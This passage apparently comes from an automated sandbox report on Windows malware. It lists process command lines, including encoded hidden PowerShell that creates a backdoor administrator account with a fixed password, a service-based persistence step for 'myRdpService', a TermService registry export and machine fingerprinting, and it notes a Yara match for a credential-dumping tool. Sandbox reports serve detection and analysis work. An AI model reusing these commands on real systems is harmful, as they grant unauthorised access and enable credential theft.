ACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Imagebase:	0x7ff61acb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:44:44
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:44:44
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:44:44
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff726260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:44:44
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Imagebase:	0x7ff743750000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:44:44
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:45:32
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4588, Parent PID: 5792

General

Target ID:	31
Start time:	06:45:32
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:45:32
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff726260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:45:32
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc stop "myRdpService"
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:45:32
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:45:32
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop "myRdpService"
Imagebase:	0x7ff726260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:45:33
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2480, Parent PID: 5596

General

Target ID:	37
Start time:	06:45:33
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:45:33
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff726260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete "myRdpService"
Imagebase:	0x7ff726260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Imagebase:	0x7ff726260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net start "myRdpService"
Imagebase:	0x7ff668b20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 start "myRdpService"
Imagebase:	0x7ff6e55c0000
File size:	183'808 bytes
MD5 hash:	BA0BCCC6029FBBE6D8B41197F252742F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\Temp\myRdpService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\myRdpService.exe cakoi10
Imagebase:	0x7ff7b5490000
File size:	9'429'504 bytes
MD5 hash:	5641F3A5B9787F23D3D34F0D9F791B7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: hacktool_windows_moyix_creddump, Description: creddump is a python tool to extract credentials and secrets from Windows registry hives., Source: 0000002D.00000002.5370794697.00007FF7B5996000.00000004.00000001.01000000.0000000A.sdmp, Author: @mimeframe
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	06:45:49
Start date:	11/12/2024
Path:	C:\Windows\regedit.exe
Wow64 process (32bit):	false
Commandline:	"regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Imagebase:	0x7ff6be580000
File size:	370'176 bytes
MD5 hash:	999A30979F6195BF562068639FFC4426
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	06:45:49
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Imagebase:	0x7ff743750000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	06:45:49
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	06:45:50
Start date:	11/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\systeminfo.exe"
Imagebase:	0x7ff6ec290000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	06:45:51
Start date:	11/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6c0980000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	06:45:54
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	06:45:54
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	06:45:54
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff743750000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	06:45:55
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Imagebase:	0x7ff743750000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	06:45:55
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFE922E33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900412520.00007FFE922E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffe922e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction ID: c2ce2ecb3a75979df593b63dcc7fdb6c8c511e8d779c643c42802c1a378467c1
Opcode Fuzzy Hash: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction Fuzzy Hash: 0D01447111CB0D4FDB44EF0CE451AA5B7E0FB95324F50056DE58AC36A1DA26E892CB46

Analysis Process: powershell.exePID: 3152, Parent PID: 8012COMMON

Executed Functions

Function 00007FFE923927EB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4220123036.00007FFE92390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE92390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe92390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5bbb09f32b0c073c53558ac14e843ef24459bab8a258112a2e16bf9db0bae8a
Instruction ID: d89ada09284615621aa6c1ade5f3c5764d7f7493c956cfdeb1e32b7a0cf1f41c
Opcode Fuzzy Hash: e5bbb09f32b0c073c53558ac14e843ef24459bab8a258112a2e16bf9db0bae8a
Instruction Fuzzy Hash: 1801C036B0DE5B4AFFB9C65D64113B9B2D1EF89221B0401BFC95ED35A5EE14E8204391

Function 00007FFE922C37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4218536971.00007FFE922C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe922c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67694c688fafa699dc367278fd67d3f24c7a27e36de6235a8d70ea8403566a38
Instruction ID: 7ade66fd72c2804d93d664d2250701e538a57452e16fa7434d9db33e126f15e5
Opcode Fuzzy Hash: 67694c688fafa699dc367278fd67d3f24c7a27e36de6235a8d70ea8403566a38
Instruction Fuzzy Hash: C201677111CB0D4FDB44EF0CE451AA6B7E0FB95324F50056DE58AC36A1D736E892CB46

Function 00007FFE92392838 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4220123036.00007FFE92390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE92390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe92390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a025c1f1e2681c2f32c94a9f928978806c3b272a938b3a405167fe687b2431e6
Instruction ID: 9749a84a35609f5f8d8c76cbe8dd13a261a687a704355f330ea5ce9d7c74bb33
Opcode Fuzzy Hash: a025c1f1e2681c2f32c94a9f928978806c3b272a938b3a405167fe687b2431e6
Instruction Fuzzy Hash: A1D05E20F1AD1F4BEBADA32C001837850C2DFD921179441B9940DD32F6ED189C010380

Function 00007FFE92A306B7 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4236750514.00007FFE92A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE92A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe92a30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d774a3197b878c2f6c37476edf12ba207eba1cd2d13c2355b6fb86b9f5f51de1
Instruction ID: 8fccfe790f11dfeb6c127a0d8450e8706ced18cb75e714e38d6c002b99f50a4b
Opcode Fuzzy Hash: d774a3197b878c2f6c37476edf12ba207eba1cd2d13c2355b6fb86b9f5f51de1
Instruction Fuzzy Hash: 68C04C5260992E1A65A5A55D38595E44684D6485A570581E2F408D2256D9490D8203C5

Analysis Process: powershell.exePID: 2720, Parent PID: 3152COMMON

Executed Functions

Function 00007FFE9218EDBC Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4047932700.00007FFE9218D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE9218D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffe9218d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6986c85b71b41d23ac2370720586eaa1df98e68c3d63e2688dffbb8d391aafa9
Instruction ID: f73b648ee7366bdd27fec5720a0d9a2f51dd3576d9dc3ba0d30c7ec94774e5a5
Opcode Fuzzy Hash: 6986c85b71b41d23ac2370720586eaa1df98e68c3d63e2688dffbb8d391aafa9
Instruction Fuzzy Hash: 08114C3150CF088F9BA8EF2DE48695677E0FB98320B10069FE449C7665D731F892CB82

Function 00007FFE922A3C85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4048789381.00007FFE922A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffe922a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 414ec2f310457b3f090f86e04605e53a0b4782a4ea29dc6c86200e8738dfeffd
Instruction ID: 834a2d32b690dffacd528ca615a4d1a85b28e3889926d39ae10aa5f4ab2690bc
Opcode Fuzzy Hash: 414ec2f310457b3f090f86e04605e53a0b4782a4ea29dc6c86200e8738dfeffd
Instruction Fuzzy Hash: 0801677111CB0C4FDB44EF0CE451AA5B7E0FB95324F50056DE58AC36A1D736E892CB46

Analysis Process: powershell.exePID: 6280, Parent PID: 5440COMMON

Executed Functions

Function 00007FFE922D3EE0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4919715805.00007FFE922D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe922d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6e1963807cf09d1e21adc3ca02d02832c827d442b7f862df7cc6113e9290312
Instruction ID: c6483247cbbda5cedd6ccacb71dd1354b5837fca775c3cd24be03e4050b18e7c
Opcode Fuzzy Hash: a6e1963807cf09d1e21adc3ca02d02832c827d442b7f862df7cc6113e9290312
Instruction Fuzzy Hash: 23210C31A18A4D8FDF98EF58D445EEDB7F1EF69314F140165D409D7296CA24E882CBC1

Function 00007FFE921BEE9C Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4917537664.00007FFE921BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE921BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe921bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94f2517f8635c7bd25a1ec6233a05e748dac217cb3d402c54e673566401e5e4a
Instruction ID: e3868e67ddf42891e02c3056db993b03a5ec75e69282e5d8d9f97264bf48b5bb
Opcode Fuzzy Hash: 94f2517f8635c7bd25a1ec6233a05e748dac217cb3d402c54e673566401e5e4a
Instruction Fuzzy Hash: 3311513150CF088F9BA8EF1DE4899567BE0FB98320B10465FD449C766AD731E881CBD1

Function 00007FFE922D4BF5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4919715805.00007FFE922D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922D0000, based on PE: false

Joe Sandbox IDA Plugin

